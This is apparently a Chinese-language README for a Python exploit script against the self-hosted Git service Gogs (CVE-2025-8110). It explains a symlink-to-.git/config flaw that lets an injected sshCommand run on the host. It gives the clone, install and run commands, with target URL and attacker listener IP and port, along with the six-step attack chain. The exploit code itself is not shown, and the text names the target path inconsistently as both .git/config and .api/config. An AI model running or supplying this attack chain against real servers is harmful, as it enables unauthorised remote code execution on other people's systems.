
GOGS RCE cve-2025-8110 的 Python 脚本,该脚本自动化了完整的攻击链:创建一个仓库,其中包含指向 .git/config 的符号链接文件,然后通过在配置文件上植入恶意的 sshCommand 来触发远程代码执行。
Gogs 是一个轻量级、自托管的 Git 服务,类似于 GitHub 的私有版本,旨在轻松运行于低资源服务器上。CVE-2025-8110 漏洞是一个严重的安全缺陷,攻击者可以通过使用符号链接绕过路径限制。通过上传一个指向 .api/config 的恶意链接,攻击者可以利用 Gogs API 嵌入一个包含 sshCommand 参数的恶意配置文件,从而在主机服务器上实现远程代码执行 (RCE)。
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# 打印帮助信息
python3 ./cve-2025-8110.py --help
# 执行攻击链(包含注册步骤)
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# 执行攻击链(跳过注册),当注册函数返回错误语句时有用
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
此脚本遵循以下攻击链步骤:
1. 注册并认证一个一次性账户(如果通过 -U 和 -P 参数提供了凭据,则跳过注册)
2. 获取 API 承载令牌
3. 创建一个自动初始化的仓库
4. 在本地克隆仓库,并推送一个相对符号链接:malicious_link -> .git/config
5. 通过 PutContents API 经由符号链接写入恶意 git 配置(包含 sshCommand)
6. 通过 SSH 克隆仓库以触发 sshCommand
本脚本基于 zAbuQasem(https://github.com/zAbuQasem)的 PoC 制作。